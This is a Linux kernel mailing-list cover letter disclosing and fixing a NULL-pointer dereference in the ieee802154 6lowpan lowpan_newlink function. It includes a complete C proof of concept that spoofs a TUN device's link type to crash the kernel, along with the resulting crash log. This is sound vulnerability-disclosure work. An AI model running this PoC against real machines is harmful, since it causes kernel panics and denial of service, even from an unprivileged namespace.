From: Zhiling Zou <zhilinz@nebusec.ai>
To: linux-wpan@vger.kernel.org
Cc: alex.aring@gmail.com, stefan@datenfreihafen.org,
miquel.raynal@bootlin.com, marcel@holtmann.org, vega@nebusec.ai,
zhilinz@nebusec.ai
Subject: [PATCH net 0/1] ieee802154: 6lowpan: fix NULL dereference in lowpan_newlink
Date: Sat, 29 Aug 2026 18:07:22 +0800 [thread overview]
Message-ID: <cover.1787997209.git.zhilinz@nebusec.ai> (raw)
Hi Linux kernel maintainers.
We found and validated an issue in net/ieee802154/6lowpan/core.c. The bug is
reachable by a CAP_NET_ADMIN process, including one in a user and network
namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
lowpan_newlink() looks up the device named by IFLA_LINK and checks only
that its link-layer type is ARPHRD_IEEE802154 before dereferencing
wdev->ieee802154_ptr->lowpan_dev. TUNSETLINK allows a down TUN device to
change its type to ARPHRD_IEEE802154 without initializing
ieee802154_ptr, leaving the pointer NULL.
A userspace RTM_NEWLINK request can then select the spoofed TUN device as
the lower device for a new lowpan link and reach the NULL dereference.
The fix rejects devices whose type is wrong or whose ieee802154_ptr is not
initialized, while preserving the existing reference cleanup path.
Reproducer:
gcc -O2 -Wall -Wextra -o poc poc.c
./poc
The same PoC was also reproduced in a user and network namespace with:
make
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_tun.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static size_t nla_put(char *buf, size_t offset, uint16_t type,
const void *payload, uint16_t payload_len)
{
struct nlattr *nla = (struct nlattr *)(buf + offset);
size_t len = NLA_HDRLEN + payload_len;
size_t padded = NLA_ALIGN(len);
nla->nla_type = type;
nla->nla_len = len;
memcpy(buf + offset + NLA_HDRLEN, payload, payload_len);
if (padded > len)
memset(buf + offset + len, 0, padded - len);
return offset + padded;
}
int main(void)
{
static const unsigned int nl_flags =
NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
static const char lowpan_name[] = "lowpan0";
static const char lowpan_kind[] = "lowpan";
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifm;
char attrs[256];
} req;
struct ifreq ifr = { .ifr_flags = IFF_TUN | IFF_NO_PI };
char linkinfo[64];
size_t linkinfo_len;
size_t attr_len = 0;
int tun_fd;
int nl_fd;
int if_fd;
int ifindex;
ssize_t sent;
memcpy(ifr.ifr_name, "tun0", sizeof("tun0"));
tun_fd = open("/dev/net/tun", O_RDWR);
if (tun_fd < 0)
die("open(/dev/net/tun)");
if (ioctl(tun_fd, TUNSETIFF, &ifr) < 0)
die("ioctl(TUNSETIFF)");
if (ioctl(tun_fd, TUNSETLINK, ARPHRD_IEEE802154) < 0)
die("ioctl(TUNSETLINK)");
if_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (if_fd < 0)
die("socket(AF_INET)");
if (ioctl(if_fd, SIOCGIFINDEX, &ifr) < 0)
die("ioctl(SIOCGIFINDEX)");
ifindex = ifr.ifr_ifindex;
close(if_fd);
printf("created %s ifindex=%d\n", ifr.ifr_name, ifindex);
fflush(stdout);
linkinfo_len = 0;
linkinfo_len = nla_put(linkinfo, linkinfo_len, IFLA_INFO_KIND,
lowpan_kind, sizeof(lowpan_kind));
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_type = RTM_NEWLINK;
req.nlh.nlmsg_flags = nl_flags;
req.nlh.nlmsg_seq = 1;
req.ifm.ifi_family = AF_UNSPEC;
attr_len = nla_put(req.attrs, attr_len, IFLA_IFNAME,
lowpan_name, sizeof(lowpan_name));
attr_len = nla_put(req.attrs, attr_len, IFLA_LINK,
&ifindex, sizeof(ifindex));
attr_len = nla_put(req.attrs, attr_len, IFLA_LINKINFO,
linkinfo, linkinfo_len);
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifm) + attr_len);
nl_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (nl_fd < 0)
die("socket(AF_NETLINK)");
sent = send(nl_fd, &req, req.nlh.nlmsg_len, 0);
if (sent < 0)
die("send(RTM_NEWLINK lowpan)");
printf("sent RTM_NEWLINK for kind=%s via %s\n", lowpan_kind, ifr.ifr_name);
fflush(stdout);
/*
* A healthy kernel would ACK or reject the request here. The vulnerable
* kernel crashes in lowpan_newlink() before the reply is received.
*/
if (recv(nl_fd, req.attrs, sizeof(req.attrs), 0) < 0)
die("recv(netlink ack)");
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 336.883661][T10638] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000006: 0000 [#1] PREEMPT SMP KASAN NOPTI
[ 336.884799][T10638] KASAN: null-ptr-deref in range [0x0000000000000030-0x0000000000000037]
[ 336.885367][T10638] CPU: 1 UID: 1028 PID: 10638 Comm: poc Not tainted 6.12.95 #2
[ 336.885860][T10638] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 336.887061][T10638] RIP: 0010:lowpan_newlink+0x13b/0x520
[ 336.887454][T10638] Code: c1 ea 03 80 3c 02 00 0f 85 b4 03 00 00 4c 8b a3 60 04 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 30 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 83 03 00 00 49 83 7c 24 30 00 0f 85 c6 02 00 00
[ 336.888761][T10638] RSP: 0018:ffffc90013eaf698 EFLAGS: 00010216
[ 336.889207][T10638] RAX: dffffc0000000000 RBX: ffff888111060000 RCX: ffffc90013eaf600
[ 336.889728][T10638] RDX: 0000000000000006 RSI: ffffffff8a8c49a0 RDI: 0000000000000030
[ 336.890249][T10638] RBP: ffff888060a31000 R08: 0000000000000000 R09: fffffbfff209d259
[ 336.890764][T10638] R10: ffffffff904e92cf R11: 0000000000000001 R12: 0000000000000000
[ 336.891278][T10638] R13: ffff888111060460 R14: 0000000000000000 R15: ffffffff9050aae0
[ 336.891803][T10638] FS: 00007f0568e9e740(0000) GS:ffff888118a80000(0000) knlGS:0000000000000000
[ 336.892381][T10638] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 336.892805][T10638] CR2: 000055c1861f42a8 CR3: 00000000211ac000 CR4: 0000000000750ef0
[ 336.893315][T10638] PKRU: 55555554
[ 336.893550][T10638] Call Trace:
[ 336.893772][T10638] <TASK>
[ 336.893970][T10638] __rtnl_newlink+0xde5/0x14f0
[ 336.894317][T10638] ? __pfx___rtnl_newlink+0x10/0x10
[ 336.894667][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.895040][T10638] rtnl_newlink+0x62/0x90
[ 336.895330][T10638] rtnetlink_rcv_msg+0x2f0/0xaf0
[ 336.895656][T10638] ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[ 336.896008][T10638] ? __pfx___lock_acquire+0x10/0x10
[ 336.896356][T10638] ? find_held_lock+0x2d/0x110
[ 336.896678][T10638] netlink_rcv_skb+0x136/0x370
[ 336.896988][T10638] ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[ 336.897351][T10638] ? __pfx_netlink_rcv_skb+0x10/0x10
[ 336.897697][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.898072][T10638] ? netlink_deliver_tap+0xcb/0xa80
[ 336.898413][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.898773][T10638] ? netlink_deliver_tap+0x14b/0xa80
[ 336.899122][T10638] netlink_unicast+0x479/0x790
[ 336.899462][T10638] ? __pfx_netlink_unicast+0x10/0x10
[ 336.899803][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.900178][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.900539][T10638] ? __check_object_size+0x2eb/0x4f0
[ 336.900887][T10638] ? netlink_autobind.isra.0+0x183/0x260
[ 336.901276][T10638] netlink_sendmsg+0x76e/0xc10
[ 336.901589][T10638] ? __pfx_netlink_sendmsg+0x10/0x10
[ 336.901931][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.902314][T10638] ? apparmor_socket_sendmsg+0x2e/0x200
[ 336.902705][T10638] __sys_sendto+0x349/0x3a0
[ 336.903017][T10638] ? __pfx___sys_sendto+0x10/0x10
[ 336.903366][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.903783][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.904163][T10638] ? __pfx___sys_socket+0x10/0x10
[ 336.904511][T10638] ? __pfx_ksys_write+0x10/0x10
[ 336.904837][T10638] __x64_sys_sendto+0xe0/0x1c0
[ 336.905201][T10638] ? do_syscall_64+0x93/0x270
[ 336.905534][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.905902][T10638] ? lockdep_hardirqs_on+0x7b/0x110
[ 336.906574][T10638] do_syscall_64+0xc7/0x270
[ 336.906873][T10638] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 336.907258][T10638] RIP: 0033:0x7f0568f30687
[ 336.907565][T10638] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 336.908807][T10638] RSP: 002b:00007ffdb8bb92f0 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 336.909340][T10638] RAX: ffffffffffffffda RBX: 00007f0568e9e740 RCX: 00007f0568f30687
[ 336.909849][T10638] RDX: 0000000000000044 RSI: 00007ffdb8bb93c0 RDI: 0000000000000004
[ 336.910367][T10638] RBP: 00007ffdb8bb9350 R08: 0000000000000000 R09: 0000000000000000
[ 336.910877][T10638] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffdb8bb93e0
[ 336.911421][T10638] R13: 00007ffdb8bb93c0 R14: 000055c14dd6f0f0 R15: 00007ffdb8bb9380
[ 336.911931][T10638] </TASK>
[ 336.912149][T10638] Modules linked in:
[ 336.912658][T10638] ---[ end trace 0000000000000000 ]---
[ 336.913015][T10638] RIP: 0010:lowpan_newlink+0x13b/0x520
[ 336.913400][T10638] Code: c1 ea 03 80 3c 02 00 0f 85 b4 03 00 00 4c 8b a3 60 04 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 30 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 83 03 00 00 49 83 7c 24 30 00 0f 85 c6 02 00 00
[ 336.914639][T10638] RSP: 0018:ffffc90013eaf698 EFLAGS: 00010216
[ 336.915091][T10638] RAX: dffffc0000000000 RBX: ffff888111060000 RCX: ffffc90013eaf600
[ 336.915799][T10638] RDX: 0000000000000006 RSI: ffffffff8a8c49a0 RDI: 0000000000000030
[ 336.916430][T10638] RBP: ffff888060a31000 R08: 0000000000000000 R09: fffffbfff209d259
[ 336.917131][T10638] R10: ffffffff904e92cf R11: 0000000000000001 R12: 0000000000000000
[ 336.917720][T10638] R13: ffff888111060460 R14: 0000000000000000 R15: ffffffff9050aae0
[ 336.918392][T10638] FS: 00007f0568e9e740(0000) GS:ffff888118a80000(0000) knlGS:0000000000000000
[ 336.919106][T10638] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 336.919633][T10638] CR2: 000055c1861f42a8 CR3: 00000000211ac000 CR4: 0000000000750ef0
[ 336.920242][T10638] PKRU: 55555554
[ 336.920609][T10638] Kernel panic - not syncing: Fatal exception
[ 336.921379][T10638] Kernel Offset: disabled
[ 336.921677][T10638] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ieee802154: 6lowpan: fix NULL dereference in lowpan_newlink
net/ieee802154/6lowpan/core.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--
2.43.0
next reply other threads:[~2026-08-29 10:07 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-08-29 10:07 Zhiling Zou [this message]
2026-08-29 10:07 ` [PATCH net 1/1] ieee802154: 6lowpan: fix NULL dereference in lowpan_newlink Zhiling Zou
2026-09-02 7:56 ` Stefan Schmidt
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1787997209.git.zhilinz@nebusec.ai \
--to=zhilinz@nebusec.ai \
--cc=alex.aring@gmail.com \
--cc=linux-wpan@vger.kernel.org \
--cc=marcel@holtmann.org \
--cc=miquel.raynal@bootlin.com \
--cc=stefan@datenfreihafen.org \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.